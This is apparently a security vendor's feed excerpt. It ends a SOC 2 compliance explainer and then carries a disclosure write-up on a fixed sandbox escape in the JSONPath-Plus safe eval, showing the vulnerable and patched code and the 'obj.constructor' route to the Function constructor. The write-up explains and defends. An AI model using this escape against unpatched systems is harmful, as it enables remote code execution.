&lt;h3 id=&quot;there-is-no-certificate&quot;&gt;There is no certificate&lt;/h3&gt;
&lt;p&gt;This is the single most common misunderstanding, and it shapes everything
else. ISO 27001 has a certification body and issues a certificate. SOC 2 does
not. There is no accreditation scheme, no registry, and no pass mark. There is
a report, and inside it an opinion that is unqualified, qualified, adverse, or
a disclaimer.&lt;/p&gt;
&lt;p&gt;That matters commercially. When a buyer asks for “your SOC 2 certificate”,
what they will accept is the report, usually under NDA. If a vendor sends you
a one-page certificate with a logo on it, they have sent you marketing.&lt;/p&gt;
&lt;h3 id=&quot;who-is-allowed-to-issue-the-report&quot;&gt;Who is allowed to issue the report&lt;/h3&gt;
&lt;p&gt;Only a CPA firm licensed by a state board of accountancy, subject to
&lt;a href=&quot;https://nasba.org/licensure/&quot;&gt;NASBA and state licensure rules&lt;/a&gt; and to AICPA
peer review. This is not a formality. It is the reason the market is
structured the way it is: the firm signing the opinion has to be independent
of the systems it is auditing, so it cannot also sell you the compliance
software or do the remediation work it is opining on.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;An attestation engagement requires the practitioner to be independent of
the responsible party.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Any vendor telling you they will “get you SOC 2 compliant” end to end,
including the audit, is describing an arrangement that independence rules do
not permit. The honest version of that sentence is that they do the
preparation and an independent CPA does the audit.&lt;/p&gt;
&lt;h2 id=&quot;type-1-or-type-2&quot;&gt;Type 1 or Type 2&lt;/h2&gt;
&lt;p&gt;SOC 2 is one report in the AICPA’s
&lt;a href=&quot;https://www.aicpa-cima.com/resources/landing/system-and-organization-controls-soc-suite-of-services&quot;&gt;SOC suite of services&lt;/a&gt;,
alongside SOC 1 for financial reporting controls and SOC 3 for a public
summary. Within SOC 2 the two report types answer different questions, and the
difference is months of calendar time.&lt;/p&gt;



































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;Type 1&lt;/th&gt;&lt;th&gt;Type 2&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Question answered&lt;/td&gt;&lt;td&gt;Are the controls suitably designed?&lt;/td&gt;&lt;td&gt;Did the controls actually operate?&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Time covered&lt;/td&gt;&lt;td&gt;A single point in time&lt;/td&gt;&lt;td&gt;A stated period (the observation window)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Typical window&lt;/td&gt;&lt;td&gt;n/a&lt;/td&gt;&lt;td&gt;3 to 12 months&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Realistic timeline&lt;/td&gt;&lt;td&gt;4 to 8 weeks&lt;/td&gt;&lt;td&gt;4 to 6 months for a first 3-month window&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;What buyers want&lt;/td&gt;&lt;td&gt;Accepted as an interim&lt;/td&gt;&lt;td&gt;The one enterprise security teams ask for&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h3 id=&quot;the-observation-window-is-your-calendar&quot;&gt;The observation window is your calendar&lt;/h3&gt;
&lt;p&gt;Nothing about a Type 2 can be compressed below its window. The auditor is
testing whether controls operated over a period, so the period has to elapse.
A 3-month window is the shortest most firms will sign, and 12 months is the
steady state once you are renewing.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://hackzero.ai/img/learn/soc2-observation-window.svg&quot; alt=&quot;Timeline showing the SOC 2 Type 2 observation window and where testing evidence has to land to count&quot;&gt;&lt;/p&gt;
&lt;p&gt;This is also the trap in the sales conversation. A deal that needs a Type 2
report in six weeks cannot have one, no matter what you spend. What you can
do is issue a Type 1 now and commit contractually to the Type 2 date, which
is a normal and accepted move.&lt;/p&gt;
&lt;h2 id=&quot;the-five-categories-and-why-you-need-one&quot;&gt;The five categories, and why you need one&lt;/h2&gt;
&lt;p&gt;SOC 2 has five Trust Services Categories, described in the
&lt;a href=&quot;https://www.aicpa-cima.com/topic/audit-assurance/audit-and-assurance-greater-than-soc-2&quot;&gt;AICPA’s SOC 2 guidance&lt;/a&gt;.
Scope is a choice, and most companies over-scope it.&lt;/p&gt;



































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Category&lt;/th&gt;&lt;th&gt;Required?&lt;/th&gt;&lt;th&gt;Add it when&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Security (common criteria)&lt;/td&gt;&lt;td&gt;Always&lt;/td&gt;&lt;td&gt;Every SOC 2 engagement includes it&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Availability&lt;/td&gt;&lt;td&gt;Optional&lt;/td&gt;&lt;td&gt;You have signed uptime commitments&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Processing integrity&lt;/td&gt;&lt;td&gt;Optional&lt;/td&gt;&lt;td&gt;You process transactions where correctness is the product&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Confidentiality&lt;/td&gt;&lt;td&gt;Optional&lt;/td&gt;&lt;td&gt;A contract names confidential data handling specifically&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Privacy&lt;/td&gt;&lt;td&gt;Optional&lt;/td&gt;&lt;td&gt;You handle personal information and a customer requires it&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h3 id=&quot;security-is-the-only-category-you-certainly-need&quot;&gt;Security is the only category you certainly need&lt;/h3&gt;
&lt;p&gt;The common criteria, numbered CC1 through CC9, cover the control environment,
communication, risk assessment, monitoring, control activities, logical
access, system operations, change management, and risk mitigation. That is
the set every SOC 2 report contains.&lt;/p&gt;
&lt;p&gt;Each extra category widens the scope, extends fieldwork, and increases the fee
with no commercial return unless a customer actually asked for it. Start with
security only. Add categories when a contract makes you.&lt;/p&gt;
&lt;h2 id=&quot;what-the-auditor-actually-examines&quot;&gt;What the auditor actually examines&lt;/h2&gt;
&lt;p&gt;Not your intentions. Evidence that a control operated, repeatedly, across the
window. Access reviews with dates and reviewers. Change tickets tied to
approvals. Vulnerability and patch records. Onboarding and offboarding trails.
Incident records. Vendor reviews.&lt;/p&gt;
&lt;h3 id=&quot;the-evidence-problem-is-the-real-cost&quot;&gt;The evidence problem is the real cost&lt;/h3&gt;
&lt;p&gt;Controls are usually not the hard part. Most engineering teams already do
code review, use SSO, and patch. The expensive part is proving each of those
ran on a schedule, for months, in a form an auditor accepts.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The auditor tests whether controls operated effectively throughout the
specified period, not whether they exist today.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That is why auditor hours balloon on first engagements. When evidence is
scattered across Slack threads, spreadsheets, and cloud consoles, the auditor
bills for the archaeology.&lt;/p&gt;
&lt;p&gt;Penetration testing sits inside this. No Trust Services Criterion requires a
pentest, and we say so plainly in
&lt;a href=&quot;https://hackzero.ai/learn/does-soc-2-require-a-penetration-test&quot;&gt;does SOC 2 require a penetration test&lt;/a&gt;,
but auditors expect one and buyers ask for the report itself. The timing rule
matters: the test has to land inside the window to count as evidence for it.
It is also a separate purchase almost everywhere, by market convention rather
than by rule:
&lt;a href=&quot;https://hackzero.ai/learn/soc-2-with-pentest-included&quot;&gt;which platforms include a pentest&lt;/a&gt; covers
who bundles what.&lt;/p&gt;
&lt;h2 id=&quot;what-soc-2-compliance-costs-in-2026&quot;&gt;What SOC 2 compliance costs in 2026&lt;/h2&gt;
&lt;p&gt;Three separate line items, and vendors routinely blur them.&lt;/p&gt;

























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Line item&lt;/th&gt;&lt;th&gt;Who bills you&lt;/th&gt;&lt;th&gt;Typical range&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Compliance platform&lt;/td&gt;&lt;td&gt;The software vendor&lt;/td&gt;&lt;td&gt;$0 to $25,000 per year&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Penetration test&lt;/td&gt;&lt;td&gt;A security firm&lt;/td&gt;&lt;td&gt;$4,000 to $25,000 per engagement&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;The audit itself&lt;/td&gt;&lt;td&gt;An independent CPA firm&lt;/td&gt;&lt;td&gt;$7,000 to $50,000 per report&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The audit fee has a hard floor. A CPA firm carries licensure, peer review,
and liability, and the opinion takes real hours. Anyone advertising a complete
SOC 2 for a few hundred dollars is not paying for a real audit.&lt;/p&gt;
&lt;p&gt;Our &lt;a href=&quot;https://hackzero.ai/learn/soc-2-cost&quot;&gt;SOC 2 audit cost breakdown&lt;/a&gt; takes each of those three
lines apart: what sets the CPA’s floor hour by hour, the five scope levers that
legitimately cut the fee, what year two costs, and why the published $30,000 to
$50,000 ranges come from people whose subscription looks cheaper beside a large
audit number.&lt;/p&gt;
&lt;h3 id=&quot;where-our-own-numbers-sit&quot;&gt;Where our own numbers sit&lt;/h3&gt;
&lt;p&gt;We publish ours, which most of this market does not.
&lt;a href=&quot;https://hackzero.ai/pricing&quot;&gt;Pricing&lt;/a&gt; is $299 a month under ten people and $499 at ten or more,
or $2,990 and $4,990 paid annually. The CPA attestation starts at $2,500 and
is paid directly to the independent firm, never through us, because routing it
through us is exactly what would compromise the independence the report
depends on. A human-validated penetration test is $2,999 per engagement, a
one-time add-on rather than a monthly figure.&lt;/p&gt;
&lt;p&gt;For the wider market, our
&lt;a href=&quot;https://hackzero.ai/learn/penetration-testing-cost&quot;&gt;penetration testing cost&lt;/a&gt; breakdown shows
where day rates come from, and
&lt;a href=&quot;https://hackzero.ai/learn/pci-dss-penetration-testing-requirements&quot;&gt;PCI DSS penetration testing requirements&lt;/a&gt;
covers the framework with the strictest testing language, which is useful
contrast if you are scoping for more than SOC 2.&lt;/p&gt;
&lt;h2 id=&quot;how-long-it-takes&quot;&gt;How long it takes&lt;/h2&gt;
&lt;p&gt;For a first Type 2 with a 3-month window, 4 to 6 months from a standing start
is realistic: 2 to 6 weeks to stand up controls and connect evidence sources,
3 months of window, then 3 to 6 weeks of fieldwork and report drafting. A
Type 1 collapses that to 4 to 8 weeks because there is no window to wait out.&lt;/p&gt;
&lt;p&gt;The variable that moves this most is not audit speed. It is how long you take
to close the gaps found in readiness, because the window cannot start until
the controls it will observe are actually running.&lt;/p&gt;
&lt;h2 id=&quot;what-a-platform-can-and-cannot-do&quot;&gt;What a platform can and cannot do&lt;/h2&gt;
&lt;p&gt;A compliance platform cannot make you compliant and cannot issue an opinion.
What it can do is remove the evidence work: connect to your cloud, code
hosting, and identity provider, map what it finds to the criteria, and keep
collecting for the whole window so the auditor gets an organized package
instead of a shoebox.&lt;/p&gt;
&lt;p&gt;That is the honest boundary, and it is worth insisting on when you evaluate
vendors. The question to ask is not “will you make us compliant”. It is “what
percentage of my evidence will you collect without me touching it, and which
controls will still be manual”.&lt;/p&gt;
&lt;p&gt;Our own answer to why security and compliance belong in one product is on
&lt;a href=&quot;https://hackzero.ai/soc2&quot;&gt;the SOC 2 page&lt;/a&gt;, and what lands in your evidence library after each
run is on &lt;a href=&quot;https://hackzero.ai/compliance&quot;&gt;compliance&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;how-to-start&quot;&gt;How to start&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Pick the report type your buyer actually needs. Type 1 unblocks a deal now.&lt;/li&gt;
&lt;li&gt;Scope security only unless a contract names another category.&lt;/li&gt;
&lt;li&gt;Run a readiness assessment and fix the gaps before opening the window.&lt;/li&gt;
&lt;li&gt;Choose the CPA firm early. Their calendar, not yours, sets the end date.&lt;/li&gt;
&lt;li&gt;Open the window and let evidence collect for the full period.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Reviewed against the 2017 Trust Services Criteria with revised 2022 points of
focus.&lt;/p&gt;</content:encoded><author>cuau@hackzero.ai (Cuauhtli Padilla)</author></item><item><title>The Function constructor escapes safe eval: an RCE we fixed in JSONPath-Plus</title><link>https://hackzero.ai/learn/jsonpath-plus-rce</link><guid isPermaLink="true">https://hackzero.ai/learn/jsonpath-plus-rce</guid><description>JSONPath-Plus safe eval returned the Function constructor through a property read, so obj.constructor gave RCE. The root cause, the one-line fix, the CVE chain.</description><pubDate>Tue, 04 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1 id=&quot;a-function-constructor-escape-we-fixed-in-jsonpath-plus&quot;&gt;A Function-constructor escape we fixed in JSONPath-Plus&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;We reported and fixed a remote code execution escape in JSONPath-Plus, a
library pulled 12 million times a week: its “safe” eval still handed back the
Function constructor through a property read, so &lt;code&gt;obj.constructor&lt;/code&gt; reached
&lt;code&gt;Function&lt;/code&gt; and ran arbitrary code.&lt;/strong&gt; The fix, publicly credited to Ryan Cruz
in PR #266, refuses to return &lt;code&gt;Function&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://hackzero.ai/img/learn/jsonpath-guard-gap.svg&quot; alt=&quot;Diagram showing the jsonpath-plus safe eval blocked the Function constructor in its call-expression path but returned any function from a property read in its member-expression path, so obj.constructor resolved to Function and gave remote code execution&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;On this page:&lt;/strong&gt; &lt;a href=&quot;#the-bug-in-one-sentence&quot;&gt;the bug&lt;/a&gt; ·
&lt;a href=&quot;#what-safe-eval-was-supposed-to-do&quot;&gt;what safe eval is&lt;/a&gt; ·
&lt;a href=&quot;#the-escape-a-property-read-that-returns-function&quot;&gt;the escape&lt;/a&gt; ·
&lt;a href=&quot;#the-fix-is-one-clause&quot;&gt;the fix&lt;/a&gt; ·
&lt;a href=&quot;#the-same-escape-hatch-patched-three-times&quot;&gt;the CVE chain&lt;/a&gt; ·
&lt;a href=&quot;#how-we-disclosed-it&quot;&gt;disclosure&lt;/a&gt; ·
&lt;a href=&quot;#what-a-library-rce-says-about-testing&quot;&gt;what it means for testing&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;the-bug-in-one-sentence&quot;&gt;The bug in one sentence&lt;/h2&gt;
&lt;p&gt;JSONPath-Plus lets callers evaluate path expressions through an eval mode
that is meant to be sandboxed. The sandbox blocked the &lt;code&gt;Function&lt;/code&gt; constructor
in one code path and not another, so a member expression like
&lt;code&gt;obj.constructor&lt;/code&gt; returned &lt;code&gt;Function&lt;/code&gt; itself, and everything downstream of
the Function constructor is arbitrary code.&lt;/p&gt;

































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Field&lt;/th&gt;&lt;th&gt;Value&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Package&lt;/td&gt;&lt;td&gt;jsonpath-plus (npm)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Reach&lt;/td&gt;&lt;td&gt;~12.4 million downloads a week&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Class&lt;/td&gt;&lt;td&gt;Sandbox escape to the Function constructor (RCE)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Root cause&lt;/td&gt;&lt;td&gt;member-expression path returned &lt;code&gt;Function&lt;/code&gt; unchecked&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fix&lt;/td&gt;&lt;td&gt;PR #266, one added clause, merged July 2, 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Credit&lt;/td&gt;&lt;td&gt;Publicly “Reported by: Ryan Cruz”&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h2 id=&quot;what-safe-eval-was-supposed-to-do&quot;&gt;What safe eval was supposed to do&lt;/h2&gt;
&lt;p&gt;JSONPath-Plus is a widely used implementation of
&lt;a href=&quot;https://github.com/JSONPath-Plus/JSONPath&quot;&gt;JSONPath&lt;/a&gt;, the query language for
JSON, at &lt;a href=&quot;https://www.npmjs.com/package/jsonpath-plus&quot;&gt;roughly 12.4 million downloads a
week&lt;/a&gt;. Some expressions need to
evaluate JavaScript-like sub-expressions, and
for that the library ships a guarded evaluator that is supposed to allow the
useful parts of expression evaluation while denying the dangerous ones.&lt;/p&gt;
&lt;p&gt;The dangerous one, always, is the &lt;code&gt;Function&lt;/code&gt; constructor. In JavaScript,
&lt;code&gt;Function(&quot;...body...&quot;)&lt;/code&gt; compiles a string into a callable with access to the
global scope. Any sandbox that lets an attacker reach &lt;code&gt;Function&lt;/code&gt; is not a
sandbox. So the library kept a denylist of blocked properties that included
&lt;code&gt;constructor&lt;/code&gt;, and checked for the &lt;code&gt;Function&lt;/code&gt; constructor before calling a
resolved function.&lt;/p&gt;
&lt;h3 id=&quot;the-check-existed-in-one-place&quot;&gt;The check existed, in one place&lt;/h3&gt;
&lt;p&gt;The call-expression handler did the right thing. As the fixed code shows, it
knew &lt;code&gt;Function&lt;/code&gt; was the thing to stop:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;if (func === Function) { // unreachable since BLOCKED_PROTO_PROPERTIES
includes ‘constructor’&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The comment even asserts the case is unreachable. It was not, because the
guard lived on the calling path, not on the path that produced the value.&lt;/p&gt;
&lt;h2 id=&quot;the-escape-a-property-read-that-returns-function&quot;&gt;The escape: a property read that returns Function&lt;/h2&gt;
&lt;p&gt;Here is the gap. When the evaluator resolved a member expression, it returned
any value that happened to be a function, and bound it, with no check for
which function:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-high-contrast&quot; style=&quot;background-color:#0a0c10;color:#f0f3f6; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;javascript&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#BDC4CC&quot;&gt;// vulnerable: returns ANY function, including Function itself&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;typeof&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt; result &lt;/span&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#ADDCFF&quot;&gt; &apos;function&apos;&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt; result.&lt;/span&gt;&lt;span style=&quot;color:#DBB7FF&quot;&gt;bind&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt;(obj);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;from-a-property-read-to-a-shell&quot;&gt;From a property read to a shell&lt;/h3&gt;
&lt;p&gt;Reading &lt;code&gt;obj.constructor&lt;/code&gt; resolves to &lt;code&gt;Function&lt;/code&gt;. The member-expression
handler saw a function and handed it back. Now the attacker holds a reference
to the Function constructor through a path the call-expression guard never
saw, and the “unreachable” branch was reachable after all. From that
reference, &lt;code&gt;Function(payload)()&lt;/code&gt; is arbitrary code execution.&lt;/p&gt;
&lt;p&gt;This is the same primitive we found in a different library: reaching
&lt;a href=&quot;https://hackzero.ai/learn/velocity-js-rce&quot;&gt;the Function constructor through a property
read&lt;/a&gt; that a write-path guard did not cover. Two
libraries, same class of bug, and it is worth internalizing why.&lt;/p&gt;
&lt;h2 id=&quot;the-fix-is-one-clause&quot;&gt;The fix is one clause&lt;/h2&gt;
&lt;p&gt;The patch states the missing invariant directly: return the function only
when it is not the Function constructor.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-high-contrast&quot; style=&quot;background-color:#0a0c10;color:#f0f3f6; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;javascript&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#BDC4CC&quot;&gt;// before&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;typeof&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt; result &lt;/span&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#ADDCFF&quot;&gt; &apos;function&apos;&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt; result.&lt;/span&gt;&lt;span style=&quot;color:#DBB7FF&quot;&gt;bind&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt;(obj);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#BDC4CC&quot;&gt;// after: never hand back Function itself&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;typeof&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt; result &lt;/span&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#ADDCFF&quot;&gt; &apos;function&apos;&lt;/span&gt;&lt;span style=&quot;color:#FF9492&quot;&gt; &amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt; result &lt;/span&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;!==&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt; Function) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt; result.&lt;/span&gt;&lt;span style=&quot;color:#DBB7FF&quot;&gt;bind&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt;(obj);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Merged in &lt;a href=&quot;https://github.com/JSONPath-Plus/JSONPath/pull/266&quot;&gt;PR #266&lt;/a&gt; with
new tests, moving the suite from 278 to 280 cases. The one-clause shape is
typical of these bugs: the logic was almost right, and the gap was a value
that one path checked and another did not.&lt;/p&gt;
&lt;h2 id=&quot;the-same-escape-hatch-patched-three-times&quot;&gt;The same escape hatch, patched three times&lt;/h2&gt;
&lt;p&gt;The most useful part of this finding is the history, because it shows how a
sandbox erodes. JSONPath-Plus has closed a route to the Function constructor
more than once.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://hackzero.ai/img/learn/jsonpath-rce-chain.svg&quot; alt=&quot;Timeline of the jsonpath-plus safe eval RCE chain: the original eval RCE CVE-2024-21534, an incomplete fix leading to CVE-2025-1302 patched in version 10.3.0, and the newest member-path bypass reported by Ryan Cruz in pull request 266&quot;&gt;&lt;/p&gt;





















&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Stage&lt;/th&gt;&lt;th&gt;What it was&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-hw8r-x6gr-5gjp&quot;&gt;CVE-2024-21534&lt;/a&gt;&lt;/td&gt;&lt;td&gt;the original eval RCE&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVE-2025-1302&lt;/td&gt;&lt;td&gt;an incomplete fix, RCE again, patched in 10.3.0, rated 9.8&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;PR #266&lt;/td&gt;&lt;td&gt;the member-expression path still returned &lt;code&gt;Function&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;CVE-2025-1302 was rated &lt;a href=&quot;https://www.first.org/cvss/calculator/3.1&quot;&gt;9.8 on the CVSS
scale&lt;/a&gt; and described by its
advisory as caused by an incomplete fix for the one before it. Our finding is
the next in that line: not the same bug, the same escape hatch through a door
the previous fixes did not close.&lt;/p&gt;
&lt;h2 id=&quot;how-we-disclosed-it&quot;&gt;How we disclosed it&lt;/h2&gt;
&lt;p&gt;Through GitHub, on the project’s own terms. We reported the escape and wrote
the fix in a pull request, which is public and credited to Ryan Cruz, merged
by the maintainer on July 2, 2026. Coordinated disclosure on open source is
straightforward: propose the fix, let the maintainer review and merge, and
the credit trail is on the record. That record is the point.&lt;/p&gt;
&lt;h3 id=&quot;the-pattern-to-take-away&quot;&gt;The pattern to take away&lt;/h3&gt;
&lt;p&gt;A denylist that blocks a dangerous value in one code path but not in every
code path is not a fix. It is a smaller target. The Function constructor was
blocked where functions were called and not where functions were read, and
the sandbox held right up until someone read instead of called. Finding that
kind of gap is a reading problem, which is what a real
&lt;a href=&quot;https://hackzero.ai/learn/penetration-testing-cost&quot;&gt;penetration test&lt;/a&gt; does that a scanner,
matching patterns, does not.&lt;/p&gt;
&lt;h2 id=&quot;what-a-library-rce-says-about-testing&quot;&gt;What a library RCE says about testing&lt;/h2&gt;
&lt;p&gt;We publish findings like this, and the &lt;a href=&quot;https://hackzero.ai/learn/velocity-js-rce&quot;&gt;critical RCE in velocity.js,
CVE-2026-73649&lt;/a&gt;, alongside it, because depth is the one
thing a security vendor cannot fake. Anyone can say their testing is deep. A
fixed, credited RCE in a library with millions of weekly installs is a claim
you can click on. That same &lt;a href=&quot;https://hackzero.ai/product/white-box&quot;&gt;white-box reading&lt;/a&gt;, pointed
at your application every month, is what our subscription buys, and our
&lt;a href=&quot;https://hackzero.ai/benchmarks&quot;&gt;benchmark runs are public&lt;/a&gt; for the parts a disclosure cannot
show.&lt;/p&gt;
&lt;h3 id=&quot;hackers-stay-in-the-loop&quot;&gt;Hackers stay in the loop&lt;/h3&gt;
&lt;p&gt;None of this is the model alone. AI surfaces the suspicious property walk; a
human confirms it reaches &lt;code&gt;Function&lt;/code&gt;, writes the working proof, and files the
pull request the maintainer can review and merge. That division of labor is
the whole point: coverage no human team can afford monthly, plus a person who
verifies the finding is real before it goes anywhere.&lt;/p&gt;
&lt;p&gt;The pricing is public too: $299 a month under 10 people, $499 at 10 or more,
against the $5,000 to $30,000 a single traditional test costs. Both include a
pentest every month, unlimited if you bring your own Anthropic key, and a
human-validated engagement is $2,999 per engagement on top. A year of
continuous testing plus an independent SOC 2 attestation paid straight to the
CPA lands near $6,088 under 10 people and $8,488 above, versus the
$30,000-plus a three-vendor stack runs.&lt;/p&gt;
&lt;h2 id=&quot;the-short-version&quot;&gt;The short version&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;We reported and fixed a Function-constructor escape in JSONPath-Plus, a
library pulled about 12 million times a week.&lt;/li&gt;
&lt;li&gt;The safe eval blocked &lt;code&gt;Function&lt;/code&gt; on the call path but not the member path,
so &lt;code&gt;obj.constructor&lt;/code&gt; returned &lt;code&gt;Function&lt;/code&gt; and gave RCE.&lt;/li&gt;
&lt;li&gt;The fix, in &lt;a href=&quot;https://github.com/JSONPath-Plus/JSONPath/pull/266&quot;&gt;PR #266&lt;/a&gt;
credited to Ryan Cruz, returns a function only when it is not &lt;code&gt;Function&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;It is the newest link in the library’s safe-eval chain, after
CVE-2024-21534 and CVE-2025-1302.&lt;/li&gt;
&lt;li&gt;Public, credited findings are the check you can run on any tester’s claim
of depth. &lt;a href=&quot;https://hackzero.ai/pricing&quot;&gt;Ours is a subscription&lt;/a&gt;, and the &lt;a href=&quot;https://hackzero.ai/book&quot;&gt;engine points at
your stack&lt;/a&gt; every month.&lt;/li&gt;
